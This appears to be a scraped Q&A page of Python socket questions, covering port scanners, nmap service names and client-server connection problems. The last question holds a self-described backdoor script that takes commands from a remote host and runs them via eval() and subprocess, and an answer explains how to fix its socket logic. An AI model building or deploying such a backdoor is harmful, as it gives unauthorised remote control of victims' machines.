Socket Port Scanner does not find any valid open ports - python

I'm currently coding a port scanner where you can import a list of ips and the program will check all of them for open ports.
The problem is, that the port scanner finds 5 valid ports on 5 different ips and then only finds invalid open ports. The list im trying are my own servers and all the ports im testing are opened. I can even see them when im using this website for testing: https://www.yougetsignal.com/tools/open-ports/
The program is multi-threaded.
I've tried many different things, using connect_ex() instead of of connect() but nothing worked.
def scanner(host):
global checked
checked +=1
socket.setdefaulttimeout(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,25))
s.close()
write_console("success", "Host: " + host + " offener Port: 25")
write(host + ":25", output_file)
except Exception as e:
write_console("error", "Host: " + host + " Port: 25")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,587))
s.close()
write_console("success", "Host: " + host + " offener Port: 587")
write(host + ":587", output_file)
except:
write_console("error", "Host: " + host + " Port: 587")

Related

python - create a socket that shows a custom service name in nmap

I have a piece of python code to listen on a port. The end result I want is that when anyone runs nmap against that IP, a custom name shows up in the service name column. To illustrate my requirement, see below screenshot that shows port 666 as the name doom.
I tried searching for solutions without any success.
Below is the python code that I'm using to listen on a port:
import socket
import sys
HOST = '' # Symbolic name, meaning all available interfaces
PORT = 8888 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
s.listen(10)
print 'Socket now listening'
#now keep talking with the client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
s.close()
If someone could point me in the right direction or help me with the modification I should make to this code, I would really appreciate it.

Socket message program not working with multiple devices

I have made a program using the socket library that allows me to start a server to collect messages from a client that connects, and I have also created a client that can connect to the server and send messages.
These programs both communicate with each other when tested on the same device, but as soon as I try communicate between two different devices I get varied errors.
I mostly get errors saying that the connection was refused, or that it timed out, or that the IP does not apply in this context.
I have been searching for a solution all over but none are working, please help.
Server code:
from datetime import datetime
import socket
print("STARTING_SERVER_SETUP_AT: " + str(datetime.now()))
ip = raw_input("SERVER_IP: ")
port = int(raw_input("SERVER_PORT: "))
address = (ip, port)
max_size = 1000
print("STARTING_THE_SERVER_AT: " + str(datetime.now()))
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(address)
server.listen(5)
client, addr = server.accept()
while(True):
data = client.recv(max_size)
print(str(datetime.now()) + ": " + str(data))
client.sendall(bytes("MESSAGE_RECEIVED"))
Client code:
from datetime import datetime
import socket
print("STARTING_CLIENT_SETUP_AT: " + str(datetime.now()))
ip = raw_input("SERVER_IP: ")
port = int(raw_input("SERVER_PORT: "))
username = raw_input("CLIENT_USERNAME: ") + ": "
address = (ip, port)
max_size = 1000
print("STARTING_CLIENT_AT: " + str(datetime.now()))
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(address)
while(True):
client.sendall(bytes(username + raw_input()))
For more info:
This is written in Python2.7
and I have tried EVERY SINGLE COMBINATION of IP's to get this
thing to work (0.0.0.0, 127.0.x.x, 192.168.x.x, localhost)
I also can't port forward.

Python: Port scann on localhost

I've greatet a port scanner in python, that can check the open ports of an public and local IP.
A Portscann on an public IP works fine, but when i try a scann on localhost (127.0.0.1 or 0.0.0.0) it say on every port that this is closed...
Heres the Code:
try:
for port in range(int(sport), int(eport) + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((remoteServer, port))
if result == 0:
print("[+] Port " + str(port) + " = [Open]")
else:
print("[-] Port " + str(port) + " = [Closed]")
sock.close()
except:
print("\nScan failed!")
time.sleep(2)
print("Check your IP adress.\n")
time.sleep(3)
print("The programm will be closed...")
time.sleep(4)
sys.exit(0)
Maybe your server just binds the public ip (maybe in its config file, there is a config about the ip it binds), so this server can be visited by others.
If the server bind 127.0.0.1(Loop back address), maybe others can not visit it except yourself.
So I think the first situation(bind public ip), it doesn't bind 127.0.0.1(Loop back address), leading to your failure to scan them. Or in another word, the public ip and Loop back address represent 2 different network devices.

Setting up Python UDP server between two computers on same Wi-Fi network

I am trying to set up a UDP client-server connection between two laptops.
Server code:
import socket
def Main():
host = '8.8.8.8'
port = 8000
s = socket.socket()
s.bind((host,port))
s.listen(2)
c, addr = s.accept()
print("Connection from: " + str(addr))
while True:
data = c.recv(1024)
if not data:
break
print("from connected user: " + str(data))
data = str(data).upper()
print("sending: " + str(data))
c.send(str.encode(data))
c.close()
client:
import socket
def Main():
host = '8.8.8.8'
port = 8000
s = socket.socket()
print ('Created socket')
s.connect((host, port))
print ('Connected to host')
message = input("-> ")
while message != 'q':
s.send(str.encode(message))
data = s.recv(1024)
print("Received from server: " + str(data))
message = input("-> ")
s.close()
I was able to get this working on one laptop i.e I opened two terminals and got a working connection, but when I try and to it between two laptops, the client times out while trying to connect to the server. Based on my research as long as I don't use the IP '127.0.0.1' it should work. Any idea what could fix this?

Put into a variable the result of listen a TCP port

I was making an experimental backdoor that needs to put into a variable the string that I will send to the port number 433. I try this, but it doesn't work. Here's the code:
import socket
import time
import subprocess
host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO
port = '433'
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
while 1:
time.sleep(2)
s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
s.send("\n[*] Status: Listening port " + str(port) + "...")
rmt_cmd = s.recv(1024)
if rmt_cmd != "":
eval(rmt_cmd)
s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
process = subprocess.Popen(rmt_cmd, shell=False,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = process.stdout.read() + process.stderr.read()
s.send("\n[*] Command output/error(s):")
s.send("\n[*] " + cmd_output)
else:
s.send("\n[*] No command recived")
s.send("\n[*] Status: Listening port " + str(port) + "...")
Here the code try to connect to the host, and if there is an error, it waits 5 second and try again, because the other computer has an program that initiate with the OS that accept the connections, so the backdoor wait 5 seconds because the computer may be turning on:
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
but the problem is that I want to put into rmt_cmd (remote_command) the string that I will send to the port 433, and this give me another thing:
rmt_cmd = s.recv(1024)
How can I do it?
Although I understand what you're trying to do, the way you're trying to achieve this needs to be reworked.
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
You need to get understanding of what you actually want.
1) Do you want your backdoor to stay passive and wait for a connection? Then it should be like this:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(address) # your host/port pair that client will need to connect to
sock.listen(5)
client_sock = sock.accept() # all the communications happen with
# client_sock since now
In this case it is also possible that your OS won't let you bind 433 port. Ports below 1024 are usually forbidden to use by third party apps to prevent conflicts and backdoors (ha-ha).
2) Do you want your backdoor to actively connect to the remote host? Just create socket and use its connect method. Don't mix bind+listen+accept (passive socket mode) with connect (active mode).
rmt_cmd = s.recv(1024) part is unreliable and needs to be refactored. The same thing with s.send usages. Use s.sendall instead or there's a change you won't send the whole message in one send.

Categories